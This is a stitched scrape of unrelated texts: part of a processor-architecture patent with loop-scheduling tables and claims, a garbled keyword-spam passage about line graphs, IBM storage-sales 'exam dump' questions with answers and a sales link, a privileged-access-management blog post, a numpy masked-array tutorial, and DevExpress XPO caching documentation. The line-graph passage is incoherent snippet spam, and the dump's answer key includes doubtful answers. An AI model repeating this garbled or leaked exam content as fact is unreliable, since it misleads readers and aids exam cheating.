The mcp-relative addressing can be understood, for example, referring to the integer add in TABLE 2-4. The function of the integer add is to calculate F(i-1)+F(i-2) (see TABLE 2-1). The value F(i-1) from the previous iteration (i-1) is stored in data multiconnect location 1:63. The value F(i-2) from the 2nd previous iteration (i-2) is stored in data multiconnect location 1:0. The result from the add is stored in data multiconnect location 1:62.
Referring to the IAdd instruction at T0, the result is stored at the address mcp(0)+62 when i=0. Referring to the IAdd instruction at T4, one operand is accessed from the address mcp(1)+63 when i=1. However, mcp(1) equals mcp(0)-1, so that [mcp(0)+62] equals [mcp(1)+63]. Therefore, the operand accessed by the IAdd instruction at T4 is the very same operand stored by the IAdd instruction at T0. Similarly, referring to the IAdd instruction at T8, the operand from 1:0 is accessed from mcp(2)+0. However, mcp(2) equals mcp(0)-2 and therefore, [mcp(0)+62] equals [mcp(2)+0] and the right-hand operand accessed by IAdd at T8 is the operand stored by IAdd at T0. Note that the execution does not require the copying of the result of an operation during one iteration of a loop to another location even though that result is saved for use in subsequent iterations and even though the subsequent iterations generate similar results which must also be saved for subsequent use. The invariant addressing using the multiconnect pointer is instrumental in the operations which have a recurrence on the loop.
TABLES 2-1, 2-5, 2-6: Single And Multiple Operations
TABLES 2-5 and 2-6 represent the single processor execution of the program of TABLE 2-1. TABLE 2-5 represents the initial conditions and TABLE 2-6 represents the kernel-only code for executing the program. In the single operation embodiment, only a single one of the processors of FIG. 3 is utilized during each instruction. Referring to TABLE 2-6 and FIG. 3, the 0-instruction for the IAdd uses processor 32-1, the 1-instruction for the AAd1 uses processor 32-5, the 2-instruction for Brtop uses I unit processor 32-7, and the 3-instruction for mlwrite uses processor 32-3. The invariant and relative addressing of the multiconnect units is the same as in the other examples described. The recurrence on the loop is the same for the TABLE 2-6 example as previously described for TABLE 2-4.
TABLE 2-5______________________________________Initial Conditions: 1:63 = F(1) = 1 1:0 = F(2) = 11 5:63 = address in main store space F(3) %r2 = 4______________________________________
TABLE 2-6______________________________________Time Unit Operation Source1 Source2 Destination______________________________________0 Integer IAdd{0} 1:63 1:0 =1:621 Address AAd1{0} %r2 5:63 = 5:02 IU BRtop3 memory m1write{1} 1:63 5:1______________________________________
TABLES 3-1 To 3-5: Conditional On Recurrence Path
TABLE 3-1 is an example of a Fortran program which has a conditional on the recurrence path of a loop. The Fortran program of TABLE 3-1 is executed to find the minimum of a vector. The vector is the vector X which has a hundred values. The trial minimum is XM. The value of XM after completing the execution of the loop is the minimum. The integer M is the trial index and the integer K is the loop index.
The initial conditions for the kernel-only code for executing the loop of TABLE 3-1 are shown in TABLE 3-2. The general purpose register offset location 1 is set equal to 1 so that the value of K in TABLE 3-1 can be incremented by 1. The general purpose register offset location 4 is set equal to 4 because word (four bytes) addressing is employed. The addresses of the vector values are contiguous at word location. The multiconnect temporary value ax[1] is set equal to the address of the first vector value X(1). Similarly, the multiconnect temporary location XM[1] is set equal to the value of the first vector value X(1).
TABLE 3-1______________________________________EXAMPLE WITH CONDITIONAL ON RECURRENCEPATHFIND THE FIRST MINIMUM OF A VECTOR______________________________________ INTEGER M,K REAL X(100), XM XM = X(1) M = 1 DO 10 K = 2,100 IF (X(K).GT.XM) GO TO 10 XM = X(K) M = K10 CONTINUE______________________________________
TABLE 3-2______________________________________Initial Conditions: %r1=1, %r4=4 ax[1] = points to addr(x(1)) m[1] = x(1) xm[1] = has value x(1)______________________________________
In TABLE 3-3, the kernel-only code for the program of TABLE 3-1 is shown.
In TABLE 3-1, the recurrence results because the IF statement uses the trial minimum XM for purposes of comparison with the current value X(K). However, the value of XM in one iteration of the loop for the IF statement uses the result of a previous execution which can determine the value of XM as being equal to X(K) under certain conditions. The conditions which cause the determination of whether or not XM is equal to X(K) are a function of the Boolean result of comparison "greater than" in the IF statement. Accordingly, the TABLE 3-1 program has a conditional operation occurring on the recurrence path of a loop.
TABLE 3-3 is a representation of the kernel-only code for executing the program of TABLE 3-1. Referring to TABLE 3-3, the recurrence exists and is explained by the follow cycle of operand dependency within the kernel-only code. For convenience reference is first made to the "greater than" comparison, Fgt, which occurs in instruction 11. The comparison in instruction 11 is between the trial minimum XM and the current value being tested, X, as derived from the vector. The comparison in instruction 11 creates a Boolean result and that result is then used in the next iteration of the loop when it is stored into a predicate by the Stuffbar operation of instruction 3. In instruction 3, the Boolean value is stored into the predicate at the sw [2] location, and that location is thereafter used in instruction 6 to select the new trial minimum using the FMsel operation. The index for the trial minimum is stored in instruction 6 using the Isel operation. The trial minimum XM stored in instruction 6 by the FMsel operation is then used again in the instruction 11 to do the "greater than" comparison, thereby returning to the starting point of this analysis.
TABLE 3-3__________________________________________________________________________- I.sub.k Alu/ Memory Memoryk IAdd FMpy Mem1 Mem2 AAd1 IU__________________________________________________________________________0 IAdd{0} AAd1{0} k[1] ,%r1 ax[1] ,%r4 = k = ax23 Stuffbar{2} m2read{2} Ise1[2] ax = sw[2] = x456 Ise1{sw[2]} FMse1{sw[2]} k[2],m[3] x[2],xm[3] = m[2] = xm[2]789 Brtop1011 Fgt{1} x[1],xm[2] = Ise1[1]__________________________________________________________________________
The TABLE 3-2 and TABLE 3-3 example above utilized variable names for the locations within the multiconnect units.
TABLE 3-4 and TABLE 3-5 depict the same example using absolute multiconnect addresses (relative to mcp).
TABLE 3-4______________________________________Initial Conditions: %r1=1, %r4=4 5:1 <= points to Addr(x(1)) 1:11 <= x(1)(DMC) 2:1 <= x(1)______________________________________
TABLE 3-5__________________________________________________________________________- I.sub.kk Alu/IAdd FMpy Mem1 Mem2 AAd1 IU__________________________________________________________________________0 IAdd{0} AAd1{0} 1:1,%r1 5:1,%r4 = 1:0 = 5:023 Stuffbar{2} m2read{0} 1:22 5:0 = icr12 = 4:0456 Ise1{12} FMse1{12} 1:2,1:11 4:2,2:2 = 1:12 = 2:2789 Brtop1011 Fgt{1} 4:1,2:2 = 1:21__________________________________________________________________________
TABLES 4-1 TO 4-3: Complex Conditionals Within Loop
The TABLE 4-1 is an example of a complex program having a conditional on the loop, but without any recurrence. Of course, recurrence processing can be handled in the same manner as the previous examples.
TABLE 4-2 depicts the kernel-only code with the initial conditions indicated at the top of the table.
TABLE 4-3 depicts the multiconnect addresses (relative to mcp) for the TABLE 4-2.
TABLE 4-1______________________________________ DO 12 I=1,N1 X = D(I)2 IF (X.LT.4) GO TO 93 X = X + 34 X = SQRT(X)5 IF (X.LT.3) GO TO 126 X = X + 47 X = SQRT(X)8 GO TO 129 IF (X.GT.0) GO TO 510 X = X + 511 X = 2*x12 D(I) = X______________________________________
TABLE 4-2__________________________________________________________________________ %r1=1, %r4=4ax[1] ← points to addr(x(0)) element prior to x(1)FAdd/1a1u Multiplier Mem1 AAd1 IU__________________________________________________________________________0 Or{3} AAdd {0} j95[3],j45[3] ax[1] ,%r0 = j5[3] = ax[0]1 Ise1{d3[3]} Stuffbar{2} x4[3],x1[3] c2[2] = x5i[3] = d3[2]2 FAdd{4} Stufficr{2} x5i[4] ,%r4 c2[2] = x6[4] = d9[2]3 Fge{2} FMpy{d10[3]} m1read{0} x1[2] ,%r2 x10[3] ,%r2 ax[0] ,%r0 = nc2[2] = x11[3] = x1[0]4 FAdd{d3[2]} Stufficr{3} x1[2] ,%r3 j5[3] = x3[2] = d5[3]5 Fgt{d9[2]} x1[2] ,%r0 = c9[2]6 Ise1{d10[5]} Sqrt{d6[4]} x11[5] is12p[5] x6[4] = is12[5] = x7[4]7 Flt{d6[3]} x5i[3] ,%r4 = c5[3]8 Ise1{2} Sqrt{d3[2]} %r1,%r0 x3[2] = j45[2] = x4[2]9 Ise1{d9[2]} Stuffbar{d9[2]} %r1,%r0 c9[2] = j95[2] = d10[2]10 Flt{1} mwrite{5} Brtop x1[1] ,%r4 is12[5] = c2[1]11 Ise1{d6[4]} Stuffbar{d5[3]} x7[4] ,x4[4] c5[3] = is12p[4] = d6[3]12 FAdd{d10[2]} x1,%r5 = x10[2]__________________________________________________________________________
TABLE 4-3
Register Assignments:
j5[3]=1:12
ax[0]=a1:0
x5i[3]=1:6
d3[2]=icr:12
x6[4]=1:0
d9[2]=icr:14
nc2[2]=1:2
x11[3]=2:0
xl[0]=3:0
x3[2]=1:11
d5[3]=icr:11
c9[2]=1:10
is12[5]=1:15
x7[4]=2:6
c5[3]=1:14
j45[2]=1:8
x4[2]=2:3
j95[2]=1:7
c2=1:9
is10[4]=1:0
d6[3]=icr9
x10[2]=1:12
is12p[4]=1:30
While the invention has been particularly shown and described with reference to preferred embodiments thereof, it will be understood by those skilled in the art that the foregoing and other changes in form and details may be made therein without departing from the spirit and scope of the invention.
Claims (6)
What is claimed is:
1. A computer system comprising:
a processing unit having a plurality of processors;
an instruction unit having a plurality of storage locations for storing instructions; and
means for selectively communicating a plurality of instructions stored in the storage locations to the processors simultaneously or sequentially, the communicating means including:
a first connection circuit operative to establish parallel communications from a plurality of the storage locations to a plurality of the processors;
a second connection circuit operative to establish serial communications from the storage locations to the processors; and
a control circuit for selectively engaging the first and the second connection circuits.
2. A computer system according to claim 1 wherein the control circuit is responsive to an instruction being communicated to select the first circuit if the instruction is a multioperation instruction and otherwise to select the second circuit.
3. A computer system according to claim 1 wherein the instruction unit comprises a register having a plurality of stages each operative to store an instruction.
4. A computer system according to claim 3 wherein the first connection circuit comprises a plurality of multiplexers each in communication with one of the register stages and one of the processors and responsive to the control circuit to simultaneously communicate instructions from the registers to the processors.
5. A computer system according to claim 3 wherein the second connection circuit comprises a first multiplexer having a plurality of inputs in communication with the register stages and responsive to the control circuit to communicate a selected one of the instructions to the processors.
6. A computer system according to claim 5 wherein the second connection circuit comprises a second multiplexer having an input in communication with the output of the first multiplexer and a plurality of outputs in communication with the processors and responsive to the control circuit to communicate the selected instruction to a selected one of the processors.
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US5464435A (en) * 1994-02-03 1995-11-07 Medtronic, Inc. Parallel processors in implantable medical device
US5497496A (en) * 1991-06-24 1996-03-05 Mitsubishi Denki Kabushiki Kaisha Superscalar processor controlling fetching of instructions based upon number of empty instructions registers detected for each cycle
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US5560028A (en) * 1993-11-05 1996-09-24 Intergraph Corporation Software scheduled superscalar computer architecture
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US5579527A (en) * 1992-08-05 1996-11-26 David Sarnoff Research Center Apparatus for alternately activating a multiplier and a match unit
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US5586289A (en) * 1994-04-15 1996-12-17 David Sarnoff Research Center, Inc. Method and apparatus for accessing local storage within a parallel processing computer
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US6400410B1 (en) * 1997-10-21 2002-06-04 Koninklijke Philips Electronics N.V. Signal processing device and method of planning connections between processors in a signal processing device
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US6301653B1 (en) 1998-10-14 2001-10-09 Conexant Systems, Inc. Processor containing data path units with forwarding paths between two data path units and a unique configuration or register blocks
US7146360B2 (en) 2002-12-18 2006-12-05 International Business Machines Corporation Method and system for improving response time for database query execution
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Trend, Level, Variability. Behavior analysts must possess the ability to analyze data. It is one of the most important skills because we rely so heavily on data to guide our interventions. Visual analysis is the mechanism by which we convert graphs to decisions. Visual analysis is the practice of interpreting graphs by simply looking at them.
Line graph has a horizontal axis called the x-axis and a vertical axis called the y-axis. The x-axis usually has a time period over which we would like to measure the quantity of a specific thing or an item in the y-axis. Line graph helps to analyze the trend of whether the quantity in the y-axis is increasing or decreasing over a period of time.
Line Graphs. The graphs we've discussed so far are called line graphs, because they show a relationship between two variables: one measured on the horizontal axis and the other measured on the vertical axis. Sometimes it's useful to show more than one set of data on the same axes. The data in the table, below, is displayed in Figure 1 ...You can format your trendline to a moving average line. Click anywhere in the chart. On the Format tab, in the Current Selection group, select the trendline option in the dropdown list. Click Format Selection. In the Format Trendline pane, under Trendline Options, select Moving Average. Specify the points if necessary.A variety of data representations can be used to communicate qualitative (also called categorical) data. A table summarizes the data using rows and columns. Each column contains data for a single variable, and a basic table contains one column for the qualitative variable and one for the quantitative variable.Likewise, a survey of 40,000 people, of which 16,000 supported taxes, would also be identical to the above graph. The more people there are, the stronger the support. This should be obvious from the graph and therefore it is important to include the value. A mention must be made about computer graphics since most pie charts are produced on a ...A line chart (aka line plot, line graph) uses points connected by line segments from left to right to demonstrate changes in value. The horizontal axis depicts a continuous progression, often that of time, while the vertical axis reports values for a metric of interest across that progression. The line chart above shows the exchange rate ...
The graph below shows how people buy music. Summarise the information by selecting and reporting the main features, and make comparisons where relevant. The graph illustrates trends in music buying habits between 2011 and 2018. It presents three different methods: streaming, downloading and buying CDs. Overall, both downloads and physical sales ...A line graph uses lines to connect data points that show quantitative values over a specified period. They indicate positive benefits on the horizontal x-axis and a vertical y-axis. Generally, a grid is formed by intersecting perpendicular lines formed by both the axes, using a line. They display shorter changes and are better than bar graphs ...Line Graph: A line graph is a graph that measures change over time by plotting individual data points connected by straight lines.A trendline is a line drawn on a chart highlighting an underlying pattern of individual values. The line itself can take on many forms depending on the shape of the data: straight, curved, etc. This is common practice when using statistical techniques to understand and forecast data (e.g. regression analysis ).Drawing graphs and charts. When drawing a chart or a graph, the independent variable goes on the horizontal (x) axis and the dependent variable goes on the vertical (y) axis. Once this has been ...
Data analysis is a crucial aspect of making informed decisions in various industries. With the increasing availability of data in today’s digital age, it has become essential for businesses and individuals to effectively analyze and interpr...
Line Graphs. The graphs we’ve discussed so far are called line graphs, because they show a relationship between two variables: one measured on the horizontal axis and the other measured on the vertical axis. Sometimes it’s useful to show more than one set of data on the same axes. The data in the table, below, is displayed in Figure 1 ...Line Graph: A line graph is a graph that measures change over time by plotting individual data points connected by straight lines.The Graph view in the InfluxDB 2.0 UI lets you select from multiple graph types such as line graphs and bar graphs (Coming). ... Grafana graphing features include ...Line charts are also used to see the trends in various domains. Area Chart. It is used to see the magnitude of the values. It shows the relative importance of values over time. It is similar to a line chart, but because the area between lines is filled in, the area chart emphasizes the magnitude of values more than the line chart does. Column ChartA graph is a set of comparisons, and the two goals of a graph are: 1. To understand communicate the size and directions of comparisons that you were already interested in, before you made the graph; and. 2. To facilitate discovery of new patterns in data that go beyond what you expected to see. Both these goals are important.Area charts are a lot like line charts, with a few subtle differences. They can both show change over time, overall trends, and continuity across a dataset. But, while area charts may function the same way as line charts, the space between the line and axis is filled in, indicating volume. Dos: Make it easy to read. Avoid occlusion.Disconnected graph - a graph where there are unreachable vertices. There is not a path between every pair of vertices. Finite graph - a graph with a finite number of nodes and edges. Infinite graph - a graph where an end of the graph in a particular direction(s) extends to infinity. We'll discuss some of these terms in the coming paragraphs.
Polynomial. A polynomial trendline is a curved line that is used when data fluctuates. It is useful, for example, for analyzing gains and losses over a large data set. The order of the polynomial can be determined by the number of fluctuations in the data or by how many bends (hills and valleys) appear in the curve.
Keeping track of results of personal goals can be difficult, but AskMeEvery is a webapp that makes it a little easier by sending you a text message daily, asking you a question, then graphing your response. Keeping track of results of perso...
Sketch a time series line graph for airline tickets, for example, with the baseline being November 2019. Compare the three types of graphs — the article’s time series with icons, and the two ...A line graph is similar to the scattergram except that the X values represent a continuous variable, such as time, temperature, or pressure. It plots a series of related values that depict a change in Y as a function of X. Line graphs usually are designed with the dependent variable on the Y-axis and the independent variable on the horizontal X ... 20 thg 9, 2013 ... Line Graphs. · used to show trends or how data changes over time. · ex ... It is sometimes called the rise over the run. 1. Choose two points ...Notice that it includes error bars representing the standard error and conforms to all the stated guidelines. Figure 12.13 Sample APA-Style Line Graph Based on ...Question: What types of graphs are most preferred in the field of ABA? Answer: Line graphs. Question: Which data recording method would be best used to measure the time between when a teacher said to start on an assignment and the time the student started on the assignment? Answer: Latency. Question: Phase change lines indicate:Speaker 1: Charts are visual representation of the results that we get. Speaker 2: A pie chart is, is obviously is you know it's round, it's like a pie. Speaker 1: The chart I think is most ...The line graph represents the most frequently used display for visual analysis and subsequent interpretation and communication of experimental findings. Behavior analysis, like the rest of psychology, has opted to use non-standard line graphs. Why are trends sometimes necessary on a line graph? Why are trends sometimes necessary to include on ...Luckily, there's no right or wrong way to build a trend report. A basic process consists of six simple steps. 1. Choose your metrics. It's not necessarily helpful to create a trend report for every single metric you have. Start small, and think of a metric that ties to a specific business decision or goal. Consider:12 thg 11, 2019 ... For example, the distribution of many data sets when plotted as a line graph ... If color isn't necessary, sometimes it's safest to stick with ...Regression equations that use time series data may include a time index or trend variable. This trend variable can serve as a proxy for a variable that affects the dependent variable and is not directly observable — but is highly correlated with time. Why are trends necessary on line graphs? Why are trends sometimes necessary to include on ...Add a phase change line—a dashed vertical line inserted between the last data point of the flat three-path sequence and before any additional data points extending from the x-axis of the graph to at least 1 cm above the top of the y-axis—to make a change in the instructional program. 4. Decisions can also be made after four data paths.
An important aspect of creating a line chart is selecting the right interval or bin size. For temporal data, a too-broad of a measurement interval may mean that it takes too long to see where the data trend is leading, hiding away the useful signal.A line graph is perhaps the simplest of all charts and graphs and they share some commonalities with other charts and graphs. For example, line graphs and other charts and graphs have two axes. The vertical axis is referred to as the y axis and the horizontal axis is the x axis, as shown in the picture above. These axes are used in other types ...Line graphs. Data collected during naturalistic teaching should always include information about: Target behaviors, prompt levels needed, and activities. What data recording procedures is best used for behaviors that have a clear ending and beginning, do not occur throughout an interval, but still occur at high rates? Partial interval.Instagram:https://instagram. las siete partidasnative american salmon recipecareers in women's studiesku football record by year Line graphs represent data along an interval scale, allowing readers to spot trends quickly. If you’re searching for patterns in your data, such as trends, fluctuations, cycles, rates of change, or simply how any two data sets relate to one another, the line graph is your best option. When to use a line graph. When NOT to use a line graph. best bxr 55 rollexplosive arrow elementalist A graph that uses marks to record each piece of data above a number line. Picture Graph. A graph that uses pictures to show and compare information. Vertical Bar Graph. A bar graph in which the bars are read from the bottom to the top. Data. Information gathered and used to make sense. ... Similar to a Bar Graph, but in a Histogram each bar is for a … jb grimes coach Line chart showing the population of the town of Pushkin, Saint Petersburg from 1800 to 2010, measured at various intervals. A line chart or line graph, also known as curve chart, is a type of chart which displays information as a series of data points called 'markers' connected by straight line segments. It is a basic type of chart common in many fields. It is similar to a scatter plot except ...See this article about why line graphs are better than column graphs at communicating trends to the audience. The question you need to ask when using a line graph is whether the audience needs to know the starting and ending values of the line. Sometimes these are important, and sometimes it is just the slope of the line that is important. If ...The basics of support and resistance consist of a support level, which can be thought of as the floor under price, and a resistance level, which can be thought of as the ceiling above price ...
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IBM C9020-560 Exam Review Questions – Updated 2017
IBM’s Midrange Storage Sales V3 certification as a profession has an incredible evolution over the last few years. IBM C9020-560 IBM Midrange Storage Sales exam is the forerunner in validating credentials against. Here are updated IBM C9020-560 exam questions, which will help you to test the quality features of DumpsSchool exam preparation material completely free. You can purchase the full product once you are satisfied with the product.
Version: 8.0
Question: 1
Which tool should a sales person use to find the CAPEX and OPEX cost of an IBM FlashSystem V9000 compared to other flash vendors?
A. IBM System Consolidation Evaluation Tool
B. Disk Magic
C. TCOnow!
D. IBM Spectrum Control Storage Insights
Answer: C
Question: 2
A customer is implementing a data analytics application and is considering flash storage from IBM and Violin Memory.
Which resource can be used to show the financial benefit of IBM equipment over its competition?
A. SIO study
B. TCOnow!
C. VSI
D. Butterfly study
Answer: B
Question: 3
A client with an existing TS3100 Tape Library with 2 x LTO4 drives and LTO4 cartridges wants to upgrade to LTO7.
Which solution allows gradual migration to LTO7 cartridges while being able to read all current data?
A. Add 1 x LTO6 and LTO7 drive to the library
B. Add 2 x LTO7 drives to the library
C. Replace 2 x LTO4 drives with 2 x LTO7 drive
D. Replace 2 x LTO4 drives with 1 x LTO6 drive and 1 x LTO7 drive
Answer: A
Question: 4
What is the role of the technical specialist in the Technical and Delivery Assessment (TDA) review?
A. Review and Approve the use of IBM Lab Services Statement of Work
B. Validate that what is proposed will meet the client requirements
C. Validate Solution for Compliance in a Regulated Environment (SCORE)
D. Review and Approvethe IBM Request for a Price Quote (RPQ)
Answer: A
Question: 5
A storage representative needs to size a block disk solution. The representative has been given a file containing the target workload and I/O characteristics and has been told the response time requirement.
Which tool should be run to produce a configurable solution?
A. Capacity Magic Tool
B. Disk Magic Tool
C. Comprestimator utility
D. STAT Tool
Answer: C
Question: 6
A client complements a new security system. The CCTV cameras create 1 TB of data per day. This data needs to be stored online for 90 days and will only be accessed when a security violation is reported. The client’s projected growth is 30% per year.
Which IBM storage solution delivers the lowest Total Cost of Ownership (TCO) over three years for this client?
A. IBM Spectrum Archive LE with a TS3200 Tape Library
B. IBM Spectrum Archive EE and any supported disk system to create a disk pool
C. IBM Storwize V7000 Unified with compression and tape backend
D. IBM DCS3700 populated with 4 TB nearline SAS drives
Answer: C
Click Here to Get All IBM C9020-560 Exam Questions:
https://www.dumpsschool.com/C9020-560-exam-dumps.html
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8 Android Apps Infected By Joker Malware: Remove Them Now!
Tips for Privileged Access Management
With the COVID-19 pandemic came a quick rush to move to remote work. That created challenges for businesses, but it also led many to rethink how they were doing things in terms of their cybersecurity and their general IT infrastructure.
For example, many organizations are moving to a zero-trust security model with the intention of keeping their workforce working remotely, at least partially.
Each user requires an identity to manage, however. Identity and access management is a priority right now because of dispersed users.
With that in mind, the following are some things to know about privileged access management and best practices, which is a specific consideration within the larger element of access management.
What is Privileged Access Management?
Privileged access management, also known as PAM, refers to the special access that some users need above the standard user. With privileged access, an organization can operate a secure infrastructure efficiently and keep its data secure. Privileged access isn’t just associated with your human users. It can also be used to refer to machines and applications.
If a cybercriminal is able to exploit privileged credentials, the consequences can be catastrophic. It can allow them to move throughout systems and gain access to the most critical information.
There was a recent study that found 74% of data breaches involve privileged account access.
Understanding the risk of privileged access and taking steps to mitigate it should be a top priority right now.
Identity and access management, or IAM actually, in the technical sense refers to access to the front-end systems. PAM by contrast refers to access to back-end systems.
PAM is for businesses that are large and have staff members with complex organizational roles.
The Benefits of PAM
Some of the benefits of PAM implementation include:
• Users have to request privileges which adds another layer of security to access. This has to be approved by the administrators.
• PAM solutions are a good way to put in place barriers that still allow users to navigate their workflows easily and efficiently.
• When there’s a request for privileges, new information is added to the system, so you can see who requested and authorized it and what they did after getting access.
Best Practices
The following are some tips and things to keep in mind relating to privileged access management and implementing it:
• Use the right tools. When you have good tools in place, you can reduce external attack risks as well as the potential for insider attacks to occur. If you utilize a PAM technology solution, you have more control over privileged access and permissions for users, systems, and accounts.
• Have a discovery process for privileged accounts. You want to make sure that you know specifically which users and accounts should be able to access critical assets. That means you need to be able to identify all instances of privileged access not only on-premises but also in the cloud. Think about non-traditional accounts in this as well.
• Create a password policy. Everyone who uses and also manages privileged accounts needs to be fully aware of the password policy and understand it. One option is to use passphrases and multi-factor authentication.
• The principle of least principle should be used to prevent access to critical data or systems. Least privilege means you’re giving users only the bare minimum amount of access they need to do their jobs. Identity and access management controls (IAM) can help with least privilege.
• Privileged accounts need to be continuously monitored to ensure stolen credentials aren’t being used. You also need to monitor to ensure that policies and procedures are being followed and that there aren’t signs of insider attacks or threats occurring.
• Watch for lateral movement. Lateral movement is a top concern right now, and the risk of it occurring is why many organizations are implementing a zero-trust architecture. If one set of privileged credentials were breached, lateral movement could again be devastating to an organization.
• Remember that administrative rights change often, and monitoring should keep up with that evolution.
• Go beyond session recordings. If you’re recording sessions for every action that a privileged account does, it’s not helpful if not one’s actually looking into it.
If you’re proactive about managing all areas of user access, including privileged access, you can avoid potentially damaging or even devastating breaches. You want to make sure you’re choosing technology and protocols that give you full visibility, that you’re using the principle of least privilege, and that you’re thoroughly monitoring activity.
A blogger with a zeal for learning technology. Enchanted to connect with wonderful people like you.
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Numpy Masked Arrays
I have a 2D numpy array of data generated from topography. One of these columns of data is a mean slope value and for the analysis I am performing I want to filter out any row which has a mean slope value above 0.4.
I could do this by filtering the data as it is read from the file, but this is pretty slow, and I will run into problems of being unable to preallocating the array. One solution would be to traverse each data file twice, once to count the instances of slope > 0.4 and once to allocate the valid data to the array. I want to avoid this as the files are fairly large and this seems very clumsy.
So I started looking at masked arrays in numpy, I have used them before to filter no data values out of raster plots:
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#load hillshade data into a numpy array, hillshade
hillshade, hillshade_header = raster.read_flt(data_path + hillshade_file)
#ignore nodata values
hillshade = np.ma.masked_where(hillshade == -9999, hillshade)
But what if I want to filter a row based on a value in a single column? I found this answer on stackoverflow which got me most of the way there.
First we delare a test array, a:
import numpy as np
a = np.array([[8, 5, 0.1],
[2, 4, 0.39],
[3, 1, 0.45]])
Next we create the masked array
masked_a = np.ma.MaskedArray(a, mask=(np.ones_like(a)*(a[:,2]>0.4)).T)
The mask= section is creating a row mask based on the condition >0.4 in the last column. np.ones_like(a) creates a new array of the same shape as a filled with ones:
[[ 1. 1. 1.]
[ 1. 1. 1.]
[ 1. 1. 1.]]
(a[:,2]>0.4) evaluates the expression >0.4 for each cell in column 2 of the array, resulting in:
[False False True]
This is a 1D array, where the True corresponds to the value a[2][2] but if we multiply this array with the 2D array of ones, we get:
[[ 0. 0. 1.]
[ 0. 0. 1.]
[ 0. 0. 1.]]
Nearly there! Now we just use .T to transpose the array, effectively rotating it through 90 degrees. So now we can check out our mask, and the masked data:
a2 =
[[8.0 5.0 0.1]
[2.0 4.0 0.39]
[-- -- --]]
a2.mask =
[[False False False]
[False False False]
[ True True True]]
Unfortunately this transpose trick only works with arrays where dim1 == dim2 so in our example we had a 3*3 array. My real data is not so square. But as is almost always the case, someone else has had this problem before
The solution is to use np.newaxis which ensures that the mask is created in the same dimensions as the input array, a. The final steps are as follows:
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a = np.array([[8, 5, 9, 0.1],
[2, 4, 5, 0.39],
[3, 1, 4, 0.45]])
mask = np.empty(a.shape,dtype=bool)
mask[:,:] = (a[:,3] > 0.4)[:,np.newaxis]
masked_a = np.ma.MaskedArray(a,mask=mask)
>>> masked_a
masked_array(data =
[[8.0 5.0 9.0 0.1]
[2.0 4.0 5.0 0.39]
[-- -- -- --]],
mask =
[[False False False False]
[False False False False]
[ True True True True]],
fill_value = 1e+20)
final_a = np.ma.compress_rowcols(masked_a,axis=0)
>>> final_a
array([[ 8. , 5. , 9. , 0.1 ],
[ 2. , 4. , 5. , 0.39]])
The final step uses np.ma.compress_rowcols to get rid of the rows that are masked out, this is not always needed, but will make my life easier for my current project.
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Cached Data Store
• 6 minutes to read
XPO provides functionality for a cache at the data store level. The cache stores queries and their results as they are being executed on a data store. Whenever a query, which has been executed before, passes the cache, the result from that query is returned back immediately without a roundtrip to a data store. This significantly improves performance in general and ensures that as little data as possible is transferred over the wire in distributed applications.
To enable data store caching, four classes specifying the Root and its Nodes - DataCacheRoot, MSSql2005SqlDependencyCacheRoot, DataCacheNode and DataCacheNodeLocal - must be combined. The minimum setup of the cache requires one Root (DataCacheRoot or MSSql2005SqlDependencyCacheRoot) and one Node (DataCacheNode or DataCacheNodeLocal). It is possible to build cache hierarchies out of a single Root and any number of Nodes, which can be linked to the Root or another Node. This makes sense in client/server setups, when certain parts of an application need to use different settings for their data access, such as current data.
The Nodes actually cache data, while the Root stores the information about table updates and synchronizes it with Nodes. To keep the table update information and cached data in sync, the Root and Nodes communicate with each other using the ICacheToCacheCommunicationCore channel. Every time a Node contacts its parent (a Root or another Node), table update information is passed in the direction from Root to Node. These regular contacts between a Node and its parent are required to keep the table information current. The latency for these contacts can be specified using the DataCacheNode.MaxCacheLatency field. This field defines the maximum time that is allowed to pass before a contact to the parent becomes mandatory. So, if a Node receives a query, it first finds a cached result set for this query, and if more time than specified by DataCacheNode.MaxCacheLatency has passed since its last parent contact, it will perform a quick request to its parent to synchronize table update information.
NOTE
Data store caching relies on the idea that the cache structure knows about changes being made to data. So, even in a multi-user setup, you should make sure that all queries and updates are performed in a way that allows them to be recognized by the cache structure. To accomplish this, all client requests for data have to be routed through the client-side Nodes (DataCacheNode instances) and server-side Root (or server-side Root-Node chains). If, for any reason, there are changes in the database that have been made without going through the cache structure, you can use the following utility methods.
Direct SQL queries and stored procedure calls are not cached. To properly adjust a cache after calls, use any of the methods listed above. If you are using a MS SQL Server (version 2005 and later) database as a backend for a data store, you can enable the cache hierarchy to be automatically notified about table updates using SqlDependency (see below).
Using SqlDependency
SqlDependency is a MS SQL Server feature (found in version 2005 and later) that allows the database server to notify a client about changes that occur in the database. You can enable the cache hierarchy to exploit this feature to be automatically notified about any changes made to a cached database (even if they are made outside the cache hierarchy). To accomplish this, do one of the following.
The SqlDependency feature is resource-demanding - every time a change happens in a database table that is being monitored, every client subscribed to SqlDependency must be notified. It is thus recommended to have only one MSSql2005SqlDependencyCacheRoot associated with a database, publishing change notifications to all other cache hierarchy Nodes.
To learn about prerequisites for the SqlDependency feature use, refer to the Special Considerations When Using Query Notifications MSDN article.
Cache Configuration Settings
With cache configuration settings, you can easily configure the caching scope for Nodes by designating tables to be cached. Since there is no need to cache tables that are frequently changed, you can exclude them from the caching scope using configuration settings. To specify the settings, use the Root's DataCacheBase.Configure method. For the MSSql2005SqlDependencyCacheRoot, use the corresponding MSSql2005SqlDependencyCacheRoot.CreateSqlDependencyCacheRoot overloaded method.
Connecting to Cached Data Stores in Distributed Applications
You can publish cached data stores (ICachedDataStore implementers) in your distributed applications. When your client application connects to a cached data store using either the http://host:port/servicename.svc or net.tcp://host:port/servicename connection string format, XPO automatically creates a Node (a DataCacheNode object) on the client. You can then create any number of Nodes and Node chains on the client, and link them to this Node to create a cache hierarchy. If you exploit the SqlDependency feature in your cached data store, the resulting distributed application setup will benefit from change notifications on the database server without great resource requirements.
On the service side, we recommend creating the DataCacheRoot only. Normally, a service that utilizes the CachedDataStoreService class should be published on the same machine or in the same local network with the database server. In this configuration, traffic between the service and the database should not significantly affect performance, and usually it is not necessary to cache these queries. However, some applications may perform many heavy queries with aggregations or grouping, and these operations may take significant time on the database side. We provide a DataCacheNode descendant for this situation - DataCacheNodeLocal. If your application performs many select operations with grouping and aggregations, check if using this class in the service application benefits performance.
Concepts
NOTE
You can try the functionality described here in the Connecting to a Data Store | Data Caching section of the XPO Tutorials demo (C:\Users\Public\Documents\DevExpress Demos 19.2\Components\WinForms\Bin\XpoTutorials.exe).
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全部产品
阿里云办公
SDK的使用说明
更新时间：2017-06-07 13:26:11
1. 使用举例
